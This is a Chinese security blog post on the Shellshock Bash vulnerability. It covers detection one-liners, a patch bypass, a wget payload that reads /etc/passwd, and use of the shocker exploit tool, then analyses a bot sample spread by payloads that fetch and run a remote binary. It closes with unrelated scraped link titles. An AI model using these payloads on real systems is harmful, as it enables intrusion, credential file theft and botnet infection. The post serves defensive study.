Linux渗透之Shellshock后门
注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。
[TOC]
0x00 前言
描述:Shellshock又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,2014年9月24日Bash被公布存在远程代码执行漏洞,最初认为该漏洞只是本地漏洞,所以无法很好地利用。随着研究的深入研究发现其实它可以进行远程CGI漏洞利用,Bash漏洞其实是非常经典的“注入式攻击”也就是可以向 bash注入一段命令,从bash1.14到4.3都存在这样的漏洞;
- 漏洞编号:CVE-2014-6271
- 详细情况:Bash(GNU Bourne-Again Shell)是大多数Linux系统以及Mac OS X v10.4默认的shell,它能运行于大多数Unix风格的操作系统之上,甚至被移植到了Microsoft Windows上的Cygwin系统中,以实现windows的POSIX虚拟接口. Bash其广泛的使用将意味全球至少 150 万的主机将受到影响,此外 Linux/Unix 世界内的安卓和苹果都难以幸免。 破壳漏洞(ShellShock)的严重性被定义为 10 级(最高),而今年 4 月爆发的 OpenSSL(心脏出血)漏洞才 5 级!
- 漏洞原理: Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统 受到该漏洞影响的bash使用的环境变量是通过函数名称来调用的,以“(){”开头通过环境变量来定义的。而在处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令
- 受影响的版本:
WeiyiGeek.
0x01 测试和利用
1.判断方法
#方法1
env x='() { :;}; echo Shellshock' bash -c "exit"
#方法2
() { :;}; echo 1 > /dev/udp/evil.com/53 #如果服务器存在Shellshock漏洞,evil.com的53端口就会受到一个UDP包
WeiyiGeek.
2.补丁更新后仍然可以绕过
env -i X=';() { (a)=>' bash -c 'echo `date`'; cat /etc/hosts
WeiyiGeek.
3.利用Wget进行测试,Wget, Shellshock 和 John the Ripper(解密)
wget -U "() [ test;];echo "Content-type: text/plain";echo; echo;/bin/cat /etc/passwd" url
4.Shellshock 利用工具 描述:一个发现并利用服务器 Shellshock 的工具,项目地址: https://github.com/nccgroup/shocker
#Help Text
usage: shocker.py [Options]
-h, --help show this help message and exit
--Host HOST, -H HOST A target hostname or IP address
--file FILE, -f FILE File containing a list of targets
--port PORT, -p PORT The target port number (default=80)
--exploit EXPLOIT, -e EXPLOIT Command to execute (default=/bin/uname -a)
--cgi CGI, -c CGI Single CGI to check (e.g. /cgi-bin/test.cgi)
--proxy PROXY A BIT BROKEN RIGHT NOW Proxy to be used in the form 'ip:port'
--ssl, -s Use SSL (default=False)
--threads THREADS, -t THREADS Maximum number of threads (default=10, max=100)
--verbose, -v Be verbose in output
测试案例
# Scans for http://127.0.0.1/cgi-bin/test.cgi and, if found, attempts to cat /etc/passwd
python shocker.py -H 192.168.56.118 --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
# Scan www.example.com on port 8001 using SSL for all scripts in cgi_list and attempts the default exploit for any found
python shocker.py -H www.example.com -p 8001 -s
# Scans all hosts listed in the file ./hostlist with the default options
python shocker.py -f ./hostlist
WeiyiGeek.
修复方案:
- (1).针对RedHat、CentOS Liunx发行版本,请执行:
- yum -y update bash
- (2).针对Debian Liunx发行版本,请执行:
- sudo apt-get update && sudo apt-get install –only-upgrade bash
0x02 传播样本详细分析
1.样本传播方式 该样本利用Bash漏洞进行传播,其漏洞的利用只需要简单的几行命令即可,这无疑为利用者带来了极大的便利,利用代码如下:
#而该样本通过wget将样本下载并执行命令如下:
(){:;}; /usr/bin/wget xxxx/shell1 -O /tmp/shell| /bin/chomd 777 /tmp/shell | /tmp/shell
Cookie, ().{.:;.};.wget /tmp/besh http://X.X.X.X/nginx; chmod.777 /tmp/besh; /tmp/besh;
WeiyiGeek.
2.样本行为分析 (1).获取计算机相关信息 该样本启动后首先会获取计算机的相关信息,如CPU,网络配置等信息
WeiyiGeek.
(2).接着该样本连接自己的服务器(89.238.150.154:5),strace附加在创建的子进程样本上监视其行为如下
WeiyiGeek.
(3).如果连接服务器成功,则根据服务器传来的指令,远程控制被感染机器,命令集合如下:
PING
GETLOCALIP
SCANNER
HOLD (DoS Flood)
JUNK (DoS Flood)
UDP (DoS Flood)
TCP (DoS Flood)
KILLATTK
LOLNOGTFO
WeiyiGeek.
DVR Scanner主要测试目标是否存在DVR漏洞,如果存在则尝试通过像”root”,”12345”这样的弱口令进行进行连接,如果连接成功则执行ps尝试寻找”cmd.so”进程,该进程主要是莱特币矿工相关.
一些指令解释
- ●HOLD (Dos Flood) 对目标服务器进行Hold洪水攻击,通过接受服务器数据包,来指明需要攻击的秒数,并将攻击时间返回给服务器
- ●JUNK (DoS Flood) 对目标服务器进行JUNK洪水攻击
- ●UDP (DoS Flood) 对目标服务器进行UDP洪水攻击
- ●TCP (DoS Flood) 对目标服务器进行TCP洪水攻击
- ●KILLATTK 通过接受服务器发来的进程列表,通过kill系统调用杀掉指定的进程
- ●LOLNOGTFO 非法服务器数据包指令
补充:
- 漏洞爆发之后,我们在后台对全国范围内的相关网站进行了一次统计,我们发现了某公司的NAS设备管理页面存在cgi漏洞,而通过查看网站页面,发现设备是类似“TS-119P”, 设备名都是TS-XX的。
- 备注:NAS是一种网络存储设备,现在的很多路由器也支持此功能,如果此设备有漏洞,那么里面的资源都会有被盗的风险。
参考来源:
- ASP.NET AJAX(8)__Microsoft AJAX Library中异步通信层的使用什么是异步通信层Micorsoft AJAX Library异步通信层的组成WebRequestExec
- ASP.NET AJAX(7)_Microsoft AJAX Library扩展客户端组件继承时需要注意的问题扩展类型如何修改已有类型
- ASP.NET AJAX(6)__Microsoft AJAX Library中的面向对象类型系统命名空间类类——构造函数类——定义方法类——定义属性类——注册类类——抽象类类——继承类——调用父类方
- 设计模式专题(四)——代理模式
- Array数组函数(一)
- ASP.NET AJAX(5)__JavaScript原生类型以及Microsoft AJAX Library什么是Microsoft AJAX LibraryObject原生类型Object.pro
- 使用 Octave 来学习 Machine Learning(一)
- ASP.NET AJAX(4)__客户端访问WebService服务器端释放WebService方法客户端访问WebService客户端访问PageMethod错误处理复杂数据类型使用基础客户端代理的
- 讲真,你该做备份的有效性校验了
- memcache安装方法
- 设计模式专题(五)——工厂方法模式
- ASP.NET AJAX(11)__ScriptManagerUpdatePanel的支持成员功能控制成员脚本控件支持成员ScriptMode和ScriptPathLoadScriptsBeforeU
- SQL Server 2016新特性:动态数据屏蔽(DDM)
- ASP.NET AJAX(12)__浏览器兼容功能判断浏览器的类型和版本Sys.Browser针对DOM元素的兼容操作针对DOM事件的兼容操作
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法